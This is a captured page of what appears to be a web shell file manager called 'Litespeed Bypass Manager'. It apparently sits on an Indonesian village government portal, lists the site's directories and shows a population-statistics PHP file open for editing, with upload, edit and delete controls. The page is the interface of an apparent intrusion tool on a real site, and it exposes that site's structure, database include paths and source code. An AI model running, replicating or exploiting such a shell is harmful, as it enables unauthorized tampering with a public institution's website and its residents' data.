Litespeed Bypass Manager
Direktori:
/simfordes
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
ViewerJS
Folder
Hapus
📁
assets
Folder
Hapus
📁
css
Folder
Hapus
📁
file
Folder
Hapus
📁
fonts
Folder
Hapus
📁
gambar
Folder
Hapus
📁
images
Folder
Hapus
📁
js
Folder
Hapus
📁
leaflet
Folder
Hapus
📁
librari
Folder
Hapus
📁
vendor
Folder
Hapus
📁
viewerjs-0.5.8
Folder
Hapus
📄 ArtikelDetail.php
Edit
Hapus
📄 artikel.php
Edit
Hapus
📄 detailsig.php
Edit
Hapus
📄 error_log
Edit
Hapus
📄 fetchLike.php
Edit
Hapus
📄 fetchLikeInput.php
Edit
Hapus
📄 getMap.php
Edit
Hapus
📄 index.php
Edit
Hapus
📄 legal.php
Edit
Hapus
📄 legallengkap.php
Edit
Hapus
📄 lembaga.php
Edit
Hapus
📄 lihatperaturan.php
Edit
Hapus
📄 like.php
Edit
Hapus
📄 profil.php
Edit
Hapus
📄 sig.php
Edit
Hapus
📄 statistik.php
Edit
Hapus
Edit File: statistik.php
<!doctype html> <html lang="en"> <?php ob_start(); include_once "../librari/inc.koneksidb.php"; include_once "../librari/config.php"; ?> <head> <meta charset="UTF-8"> <title>SIMFOR Desa</title> <link rel="shortcut icon" href="images/<?=$desa['logo']?>"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"> <!-- Fonts --> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <link href='http://fonts.googleapis.com/css?family=Yanone+Kaffeesatz:400,700' rel='stylesheet' type='text/css'> <!-- Css --> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" href="css/font-awesome.min.css"> <link rel="stylesheet" href="css/style.css"> <!-- jS --> <script src="js/jquery.min.js" type="text/javascript"></script> <script src="js/bootstrap.min.js" type="text/javascript"></script> <!--script src="js/highcharts.js"></script--> <script src="https://code.highcharts.com/highcharts.js"></script> <script src="https://code.highcharts.com/highcharts-3d.js"></script> <script src="https://code.highcharts.com/modules/exporting.js"></script> <script src="https://code.highcharts.com/modules/export-data.js"></script> <script src="https://code.highcharts.com/modules/accessibility.js"></script> </head> <body> <?php date_default_timezone_set('Asia/Jakarta'); $tanggal = date("dd"); $hari = date("l", microtime($tanggal)); $hari_indonesia = array( 'Monday' => 'Senin', 'Tuesday' => 'Selasa', 'Wednesday' => 'Rabu', 'Thursday' => 'Kamis', 'Friday' => 'Jumat', 'Saturday' => 'Sabtu', 'Sunday' => 'Minggu' ); include_once "../librari/config.php"; $sql = "select * from perangkat_desa"; $query = mysql_query($sql, $koneksiDbs) or die("query salah !" . mysql_error()); $data = mysql_fetch_array($query); ?> <!-- TOP HEADER Start ================================================== --> <section id="top" style="background:success;"> <div class="container" style="padding:5px 5px 5px 5px"> <div class="row"> <div class="col-md-10"> <a style="color:#555; font-size:13px" href="../index.php"> <i class="fa fa-home"></i><strong> Portal Desa</strong> </a> </div> </div> <!-- End Of /.row --> </div> <!-- End Of /.Container --> </section> <!-- End of /Section --> <header style="background-image: url('images/Desa2.jpg');"> <div class="container"> <div class="row"> <div class="col-md-12"> <a href="#"> <img src="../images/<?=$desa['logo']?>" width="70px" alt=""> <h5 style="color: rgba(238,238,238,1);text-shadow: 2px 2px 0 #555;">Pemerintah Desa <?=$desa['nama']?></h5> </a> <p style="color: rgba(238,238,238,1);text-shadow: 2px 2px 0 #555;"><?php echo $hari_indonesia[$hari]; ?>, <?php echo date('d M y / H:i'); ?></p> </div> <!-- End of /.col-md-12 --> </div> <!-- End of /.row --> </div> <!-- End of /.container --> </header> <!-- End of /Header --> <!-- MENU Start ================================================== --> <nav class="navbar navbar-default navbar-sticky"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> </div> <!-- End of /.navbar-header --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav nav-main"> <li><a href="index.php">Home</a></li> <li><a href="profil.php">Profil Desa</a></li> <li><a href="index.php">Berita Desa</a></li> <li><a href="sig.php">SIG Pembangunan</a></li> <li><a href="lembaga.php">Lembaga Desa</a></li> <li><a href="legal.php">Produk Hukum</a></li> <li class="active"><a href="statistik.php">Statisk Penduduk</a></li> </ul> <!-- End of /.nav-main --> </div> <!-- /.navbar-collapse --> </div> <!-- /.container-fluid --> </nav> <!-- End of /.nav --> <!-- breadcrumb Start ================================================== --> <section id="topic-header"> <div class="container"> <div class="row"> <div class="col-md-4"> <h1>Statistik Penduduk</h1> <p></p> </div> <!-- /.col-md-4 --> <div class="col-md-8 hidden-xs"> <ol class="breadcrumb pull-right"> <li><a href="index.php">Home</a></li> <li class="active">Statistik Penduduk</li> </ol> </div> <!-- /.col-md-8 --> </div> <!-- /.row --> </div> <!-- /.container--> </section><!-- /Section --> <section id="single-product"> <div class="container"> <div class="row"> <div class="col-md-3" > <div class="blog-sidebar product-des"> <div class="block" style="text-align:Top;"> <h4 class="top-catagori-heading">Kelompok</h4> <ul class="nav nav-pills nav-stacked"> <li class="active"><a data-toggle="pill" href="#kelamin">Jenis Kelamin</a></li> <li><a data-toggle="pill" href="#agama">Agama</a></li> <li><a data-toggle="pill" href="#pekerjaan">Pekerjaan</a></li> <li><a data-toggle="pill" href="#usia">Usia</a></li> <li><a data-toggle="pill" href="#pemilih">Data Pemilih Tetap</a></li> </ul> <!-- End of /.media-list --> </div> <!-- End of /.block --> </div> <!-- End of /.blog-sidebar --> </div> <!-- End of /.col-md-3 --> <div class="col-md-9"> <div class="tab-content product-des"> <div class="tab-pane fade in active" id="kelamin"> <div class="row"> <div class="col-md-12"> <script> var chart; $(document).ready(function() { chart = new Highcharts.Chart({ chart: { renderTo: 'mygraph_kelamin', plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false, }, title: { text: 'Demografik Berdasarkan Jenis Kelamin ' }, tooltip: { formatter: function() { return '<b>' + this.point.name + '</b>: ' + Highcharts.numberFormat(this.percentage, 2) + ' % '; } }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, color: '#000000', formatter: function() { return '<b>' + this.point.name + '</b>: ' + Highcharts.numberFormat(this.percentage, 2) + ' % '; } } } }, series: [{ type: 'pie', name: 'Jenis Kelamin', data: [ <?php include "../librari/inc.koneksidb.php"; $sql = "SELECT j_kel, count(*) as jumlah FROM warga group by j_kel"; $query = mysql_query($sql, $koneksiDbs) or die("Gagal query" . mysql_error()); while ($row = mysql_fetch_array($query)) { if ($row['j_kel'] == 'L') { $kel = "Laki-Laki"; } else if ($row['j_kel'] == 'P') { $kel = "Perempuan"; } else { $kel = "Belum Update"; } $jumlah = $row['jumlah']; ?>[ '<?php echo $kel ?>', <?php echo $row['jumlah']; ?> ], <?php } ?> ] }] }); }); </script> <div id="mygraph_kelamin"></div> </div> <!-- End of /.col-md-5 --> </div> <div class="block-heading"> <h4>Data Tabel</h4> </div> <?php include_once "../librari/inc.koneksidb.php"; $sql1 = "SELECT count(*) as total FROM warga"; $query1 = mysql_query($sql1, $koneksiDbs) or die("Gagal query" . mysql_error()); $data1 = mysql_fetch_array($query1); $sql2 = "SELECT j_kel, count(*) as jumlah FROM warga group by j_kel"; $query2 = mysql_query($sql2, $koneksiDbs) or die("Gagal query" . mysql_error()); ?> <div class="row"> <div class="col-md-12"> <div class="table-responsive-sm"> <table class="table table-striped table-bordered"> <thead> <tr> <th style="text-align:center" rowspan="2">No.</th> <th style="text-align:center" rowspan="2">Kelompok (Jenis Kelamin)</th> <th style="text-align:center" colspan="2">Jumlah</th> </tr> <tr> <th style="text-align:center">Angka</th> <th style="text-align:center">Persen (%)</th> </tr> </thead> <tbody> <?php $total = 0; $nomer = 0; while ($data = mysql_fetch_array($query2)) { $nomer++; if ($data['j_kel'] == 'L') { $kel = "Laki-Laki"; } else if ($data['j_kel'] == 'P') { $kel = "Perempuan"; } else { $kel = "Belum Update"; } ?> <tr> <td style="text-align:center"><?php echo $nomer; ?></td> <td><?php echo $kel; ?></td> <td style="text-align:center"><?php echo $data['jumlah']; ?></td> <td style="text-align:center"><?php echo number_format(($data['jumlah'] / $data1['total']) * 100, 2); ?> %</td> </tr> <?php $total = $total + $data['jumlah']; } ?> <tr> <td colspan="2" style="text-align:center"><strong>Jumlah Total</strong></td> <td style="text-align:center"><strong><?php echo $total; ?></strong></td> <td style="text-align:center"><strong><?php echo number_format(($total / $data1['total']) * 100, 2); ?> %</strong></td> </tr> </tbody> </table> </div> </div> </div> </div> <!-- End of /.product-des --> <div class="tab-pane" id="agama"> <div class="row"> <div class="col-md-12"> <script> var chart; $(document).ready(function() { chart = new Highcharts.Chart( { chart: { renderTo: 'mygraph_agama', plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false }, title: { text: 'Demografik Berdasarkan Agama' }, tooltip: { formatter: function() { return '<b>'+ this.point.name + '</b>: '+ Highcharts.numberFormat(this.percentage, 2) +' % '; } }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, color: '#000000', formatter: function() { return '<b>' + this.point.name + '</b>: ' + Highcharts.numberFormat(this.percentage, 2) +' % '; } } } }, series: [{ type: 'pie', name: 'Browser share', data: [ <?php include "../librari/inc.koneksidb.php"; $sql="SELECT agama, count(*) as jumlah FROM warga group by agama"; $query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error()); while ($row = mysql_fetch_array($query)) { if ($row['agama']==''){ $ag="Belum Update";} else { $ag=$row['agama'];} $jumlah = $row['jumlah']; ?> [ '<?php echo $ag ?>', <?php echo $row['jumlah']; ?> ], <?php } ?> ] }] }); }); </script> <div id ="mygraph_agama"></div> </div> <!-- End of /.col-md-5 --> </div> <div class="block-heading"> <h4>Data Tabel</h4> </div> <?php include_once "../librari/inc.koneksidb.php"; $sql1="SELECT count(*) as total FROM warga"; $query1 = mysql_query($sql1,$koneksiDbs) or die ("Gagal query".mysql_error()); $data1 = mysql_fetch_array($query1); $sql2="SELECT agama, count(*) as jumlah FROM warga group by agama"; $query2 = mysql_query($sql2,$koneksiDbs) or die ("Gagal query".mysql_error()); ?> <div class="row"> <div class="col-md-12"> <div class="table-responsive-sm"> <table class="table table-striped table-bordered"> <thead> <tr> <th style="text-align:center" rowspan="2">No.</th> <th style="text-align:center" rowspan="2">Kelompok (Agama)</th> <th style="text-align:center" colspan="2">Jumlah</th></tr> <tr> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> </tr> </thead> <tbody> <?php $total=0; $nomer=0; while ($data = mysql_fetch_array($query2)) { $nomer++; if ($data['agama']==''){ $ag="Belum Update";} else { $ag=$data['agama'];} ?> <tr> <td style="text-align:center"><?php echo $nomer;?></td> <td><?php echo $ag;?></td> <td style="text-align:center"><?php echo $data['jumlah'];?></td> <td style="text-align:center"><?php echo number_format(($data['jumlah']/$data1['total'])*100,2);?> %</td> </tr> <?php $total=$total+$data['jumlah']; }?> <tr> <td colspan="2" style="text-align:center"><strong>Jumlah Total</strong></td> <td style="text-align:center"><strong><?php echo $total;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($total/$data1['total'])*100,2);?> %</strong></td></tr> </tbody> </table> </div> </div> </div> </div> <!-- End of /.product-des --> <div class="tab-pane" id="pekerjaan"> <div class="row"> <div class="col-md-12"> <script> var chart; $(document).ready(function() { chart = new Highcharts.Chart( { chart: { renderTo: 'mygraph_pekerjaan', plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false }, title: { text: 'Demografik Berdasarkan Pekerjaan' }, tooltip: { formatter: function() { return '<b>'+ this.point.name +'</b>: '+ Highcharts.numberFormat(this.percentage, 2) +' % '; } }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, color: '#000000', formatter: function() { return '<b>' + this.point.name + '</b>: ' + Highcharts.numberFormat(this.percentage, 2) +' % '; } } } }, series: [{ type: 'pie', name: 'Browser share', data: [ <?php include "../librari/inc.koneksidb.php"; $sql="SELECT pekerjaan, count(*) as jumlah FROM warga group by pekerjaan"; $query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error()); while ($row = mysql_fetch_array($query)) { if ($row['pekerjaan']==''){ $kerja="Belum Update";} else { $kerja=$row['pekerjaan'];} $jumlah = $row['jumlah']; ?> [ '<?php echo $kerja ?>', <?php echo $row['jumlah']; ?> ], <?php } ?> ] }] }); }); </script> <div id ="mygraph_pekerjaan"></div> </div> </div> <div class="block-heading"> <h4>Data Tabel</h4> </div> <?php include_once "../librari/inc.koneksidb.php"; $sql1="SELECT count(*) as total FROM warga"; $query1 = mysql_query($sql1,$koneksiDbs) or die ("Gagal query".mysql_error()); $data1 = mysql_fetch_array($query1); $sql2="SELECT pekerjaan, count(*) as jumlah FROM warga group by pekerjaan"; $query2 = mysql_query($sql2,$koneksiDbs) or die ("Gagal query".mysql_error()); ?> <div class="table-responsive-sm"> <table class="table table-striped table-bordered"> <thead> <tr> <th style="text-align:center" rowspan="2">No.</th> <th style="text-align:center" rowspan="2">Kelompok (Jenis Pekerjaan)</th> <th style="text-align:center" colspan="2">Jumlah</th></tr> <tr> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> </tr> </thead> <tbody> <?php $total=0; $nomer=0; while ($data = mysql_fetch_array($query2)) { $nomer++; if ($data['pekerjaan']==''){ $kerja="Belum Update";} else { $kerja=$data['pekerjaan'];} ?> <tr> <td style="text-align:center"><?php echo $nomer;?></td> <td><?php echo $kerja;?></td> <td style="text-align:center"><?php echo $data['jumlah'];?></td> <td style="text-align:center"><?php echo number_format(($data['jumlah']/$data1['total'])*100,2);?> %</td> </tr> <?php $total=$total+$data['jumlah']; }?> <tr> <td colspan="2" style="text-align:center"><strong>Jumlah Total</strong></td> <td style="text-align:center"><strong><?php echo $total;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($total/$data1['total'])*100,2);?> %</strong></td></tr> </tbody> </table> </div> </div> <!-- End of /.product-des --> <div class="tab-pane" id="usia"> <div class="row"> <div class="col-md-12"> <script> var chart; $(document).ready(function() { chart = new Highcharts.Chart( { chart: { renderTo: 'mygraph_usia', plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false }, title: { text: 'Demografik Berdasarkan Usia' }, tooltip: { formatter: function() { return '<b>'+ this.point.name +'</b>: '+ Highcharts.numberFormat(this.percentage, 2) +' % '; } }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, color: '#000000', formatter: function() { return '<b>' + this.point.name + '</b>: ' + Highcharts.numberFormat(this.percentage, 2) +' % '; } } } }, series: [{ type: 'pie', name: 'Browser share', data: [ <?php include_once "../librari/inc.koneksidb.php"; $sql="SELECT CASE WHEN umur < 1 THEN 'ke bawah - 1' WHEN umur BETWEEN 1 and 4 THEN '01 - 4' WHEN umur BETWEEN 5 and 14 THEN '05 - 14' WHEN umur BETWEEN 15 and 39 THEN '15 - 39' WHEN umur BETWEEN 40 and 64 THEN '40 - 64' WHEN umur >= 65 THEN '65 Ke atas ...' WHEN umur IS NULL THEN '(Belum_Update)' END as range_umur, count(if (j_kel='L',1,null)) as Laki, count(if (j_kel='P',1,null)) as Perempuan, count(if (j_kel='',1,null)) as Belum_Update FROM (select j_kel, tgl_lahir, TIMESTAMPDIFF(YEAR, tgl_lahir, CURDATE()) AS umur from warga) as dummy_table GROUP BY range_umur ORDER BY range_umur"; $query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error()); while ($row = mysql_fetch_array($query)) { //$jumlah = $row['jumlah']; ?> [ '<?php echo $row['range_umur']; ?> Lk', <?php echo $row['Laki']; ?> ], [ '<?php echo $row['range_umur']; ?> Pr', <?php echo $row['Perempuan']; ?> ], <?php } ?> ] }] }); }); </script> <div id ="mygraph_usia"></div> </div> </div> <div class="block-heading"> <h4>Data Tabel</h4> </div> <?php include_once "../librari/inc.koneksidb.php"; $sql1="SELECT count(*) as total FROM warga"; $query1 = mysql_query($sql1,$koneksiDbs) or die ("Gagal query".mysql_error()); $data1 = mysql_fetch_array($query1); $sql2="SELECT CASE WHEN umur < 1 THEN 'ke bawah - 1' WHEN umur BETWEEN 1 and 4 THEN '01 - 4' WHEN umur BETWEEN 5 and 14 THEN '05 - 14' WHEN umur BETWEEN 15 and 39 THEN '15 - 39' WHEN umur BETWEEN 40 and 64 THEN '40 - 64' WHEN umur >= 65 THEN '65 Ke atas ...' WHEN umur IS NULL THEN '(Belum_Update)' END as range_umur, count(if (j_kel='L',1,null)) as Laki, count(if (j_kel='P',1,null)) as Perempuan, count(if (j_kel='',1,null)) as Belum_Update FROM (select j_kel, tgl_lahir, TIMESTAMPDIFF(YEAR, tgl_lahir, CURDATE()) AS umur from warga) as dummy_table GROUP BY range_umur ORDER BY range_umur"; $query2 = mysql_query($sql2,$koneksiDbs) or die ("Gagal query".mysql_error()); ?> <div class="row"> <div class="col-md-12"> <div class="table-responsive"> <table class="table table-striped table-bordered"> <thead> <tr> <th style="text-align:center" rowspan="2">No.</th> <th style="text-align:center" rowspan="2">Kelompok (Rentang Usia)</th> <th style="text-align:center" colspan="2">Laki - Laki</th> <th style="text-align:center" colspan="2">Perempuan</th> <th style="text-align:center" colspan="2">Belum Update</th> </tr> <tr> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> </tr> </thead> <tbody> <?php $totalL=0; $totalP=0; $totalBU=0; $nomer=0; while ($data = mysql_fetch_array($query2)) { $nomer++; ?> <tr> <td style="text-align:center"><?php echo $nomer;?></td> <td><?php echo $data['range_umur'];?></td> <td style="text-align:center"><?php echo $data['Laki'];?></td> <td style="text-align:center"><?php echo number_format(($data['Laki']/$data1['total'])*100,2);?> %</td> <td style="text-align:center"><?php echo $data['Perempuan'];?></td> <td style="text-align:center"><?php echo number_format(($data['Perempuan']/$data1['total'])*100,2);?> %</td> <td style="text-align:center"><?php echo $data['Belum_Update'];?></td> <td style="text-align:center"><?php echo number_format(($data['Belum_Update']/$data1['total'])*100,2);?> %</td> </tr> <?php $totalL=$totalL+$data['Laki']; $totalP=$totalP+$data['Perempuan']; $totalBU=$totalBU+$data['Belum_Update']; }?> <tr> <td colspan="2" style="text-align:center"><strong>Jumlah Total</strong></td> <td style="text-align:center"><strong><?php echo $totalL;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($totalL/$data1['total'])*100,2);?> %</strong></td> <td style="text-align:center"><strong><?php echo $totalP;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($totalP/$data1['total'])*100,2);?> %</strong></td> <td style="text-align:center"><strong><?php echo $totalBU;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($totalBU/$data1['total'])*100,2);?> %</strong></td> </tr> </tbody> </table> </div> </div> </div> </div> <!-- End of /.product-des --> <div class="tab-pane" id="pemilih"> <div class="row"> <div class="col-md-12"> <script> var chart; $(document).ready(function() { chart = new Highcharts.Chart( { chart: { renderTo: 'mygraph_pemilih', plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false }, title: { text: 'Demografik Berdasarkan Pemilih Tetap' }, tooltip: { formatter: function() { return '<b>'+ this.point.name +'</b>: '+ Highcharts.numberFormat(this.percentage, 2) +' % '; } }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, color: '#000000', formatter: function() { return '<b>' + this.point.name + '</b>: ' + Highcharts.numberFormat(this.percentage, 2) +' % '; } } } }, series: [{ type: 'pie', name: 'Browser share', data: [ <?php include "../librari/inc.koneksidb.php"; $sql="SELECT rw, count(if (j_kel='L',1,null)) as Laki, count(if (j_kel='P',1,null)) as Perempuan, count(if (j_kel='',1,null)) as Belum_Update FROM (select keluarga.rw,warga.j_kel, TIMESTAMPDIFF(YEAR, warga.tgl_lahir, CURDATE()) AS umur from warga,keluarga where warga.no_kk=keluarga.id_keluarga) as dummy_table where umur >= 17 group by rw"; $query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error()); while ($row = mysql_fetch_array($query)) { //$jumlah = $row['jumlah']; ?> [ 'RW 00<?php echo $row['rw'];?> L', <?php echo $row['Laki']; ?> ], [ 'RW 00<?php echo $row['rw'];?> P', <?php echo $row['Perempuan']; ?> ], <?php } ?> ] }] }); }); </script> <div id ="mygraph_pemilih"></div> </div> </div> <div class="block-heading"> <h4>Data Tabel</h4> </div> <?php include_once "../librari/inc.koneksidb.php"; $sql1="SELECT Count(*) as total FROM (select keluarga.rw,warga.j_kel, TIMESTAMPDIFF(YEAR, warga.tgl_lahir, CURDATE()) AS umur from warga,keluarga where warga.no_kk=keluarga.id_keluarga) as dummy_table where umur >= 17"; $query1 = mysql_query($sql1,$koneksiDbs) or die ("Gagal query".mysql_error()); $data1 = mysql_fetch_array($query1); $sql2="SELECT rw, count(if (j_kel='L',1,null)) as Laki, count(if (j_kel='P',1,null)) as Perempuan, count(if (j_kel='',1,null)) as Belum_Update FROM (select keluarga.rw,warga.j_kel, TIMESTAMPDIFF(YEAR, warga.tgl_lahir, CURDATE()) AS umur from warga,keluarga where warga.no_kk=keluarga.id_keluarga) as dummy_table where umur >= 17 group by rw"; $query2 = mysql_query($sql2,$koneksiDbs) or die ("Gagal query".mysql_error()); ?> <div class="table-responsive"> <table class="table table-striped table-bordered"> <thead> <tr> <th style="border-top-left-radius:5px; text-align:center" rowspan="2">No.</th> <th style="text-align:center" rowspan="2">Pemilih (RW)</th> <th style="text-align:center" colspan="2">Laki - Laki</th> <th style="text-align:center" colspan="2">Perempuan</th> <th style="text-align:center; border-top-right-radius:5px" colspan="2">Belum Update</th> </tr> <tr> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> <th style="text-align:center">Angka</th><th style="text-align:center">Persen (%)</th> </tr> </thead> <tbody> <?php $totalL=0; $totalP=0; $totalBU=0; $nomer=0; while ($data = mysql_fetch_array($query2)) { $nomer++; ?> <tr> <td style="text-align:center"><?php echo $nomer;?></td> <td>00<?php echo $data['rw'];?></td> <td style="text-align:center"><?php echo $data['Laki'];?></td> <td style="text-align:center"><?php echo number_format(($data['Laki']/$data1['total'])*100,2);?> %</td> <td style="text-align:center"><?php echo $data['Perempuan'];?></td> <td style="text-align:center"><?php echo number_format(($data['Perempuan']/$data1['total'])*100,2);?> %</td> <td style="text-align:center"><?php echo $data['Belum_Update'];?></td> <td style="text-align:center"><?php echo number_format(($data['Belum_Update']/$data1['total'])*100,2);?> %</td> </tr> <?php $totalL=$totalL+$data['Laki']; $totalP=$totalP+$data['Perempuan']; $totalBU=$totalBU+$data['Belum_Update']; }?> <tr> <td colspan="2" style="text-align:center"><strong>Jumlah Total</strong></td> <td style="text-align:center"><strong><?php echo $totalL;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($totalL/$data1['total'])*100,2);?> %</strong></td> <td style="text-align:center"><strong><?php echo $totalP;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($totalP/$data1['total'])*100,2);?> %</strong></td> <td style="text-align:center"><strong><?php echo $totalBU;?></strong></td><td style="text-align:center"><strong><?php echo number_format (($totalBU/$data1['total'])*100,2);?> %</strong></td> </tr> </tbody> </table> </div> </div> <!-- End of /.product-des --> </div> <!-- End of /.block --> </div> <!-- End of /.col-md-4 --> </div> <!-- End of /.row --> <br> <br> <br> </div> <!-- End of /.Container --> </section> <!-- End of /.Single-product --> <footer> <div class="container"> <div class="row"> <div class="col-md-6"> <div class="block clearfix"> <a href="#"> <img src="../images/<?=$desa['logo']?>" width="30px" alt=""> </a> <p> Website Resmi dan dikelola oleh Pemerintah Desa <?=$desa['nama']?> </p> <h4 class="connect-heading">Media Sosial kami :</h4> <ul class="social-icon"> <li> <a class="facebook-icon" href="#"> <i class="fa fa-facebook"></i> </a> </li> <li> <a class="twitter-icon" href="#"> <i class="fa fa-twitter"></i> </a> </li> <li> <a class="instagram-icon" href="#"> <i class="fa fa-instagram"></i> </a> </li> <li> <a class="youtube-icon" href="#"> <i class="fa fa-youtube"></i> </a> </li> </ul> <!-- End Of /.social-icon --> </div> <!-- End Of /.block --> </div> <!-- End Of /.Col-md-4 --> <div class="col-md-6"> <div class="block"> <h4>Kontak Kami :</h4> <p ><i class="fa fa-map-marker"></i> <span>Kantor Desa: </span><?=$desa['alamat']?></p> <p> <i class="fa fa-phone"></i> <span>Phone:</span> <?=$desa['tlp']?> </p> <p> <i class="fa fa-mobile"></i> <span>Mobile:</span></p> <p><i class="fa fa-envelope"></i> <span>Email:</span></p> </div> <!-- End Of /.block --> </div> <!-- End Of Col-md-3 --> </div> <!-- End Of /.row --> </div> <!-- End Of /.Container --> <!-- FOOTER-BOTTOM Start ================================================== --> <div class="footer-bottom"> <div class="container"> <div class="row"> <div class="col-md-12"> <p class="copyright-text pull-right">Copyright ©<script> document.write(new Date().getFullYear()); </script> Desa <?=$desa['nama']?></p> </div> <!-- End Of /.col-md-12 --> </div> <!-- End Of /.row --> </div> <!-- End Of /.container --> </div> <!-- End Of /.footer-bottom --> </footer> <!-- End Of Footer --> <a id="back-top" href="#"></a> </body> </html>
Simpan
Catatan: Mengedit file biner tidak disarankan.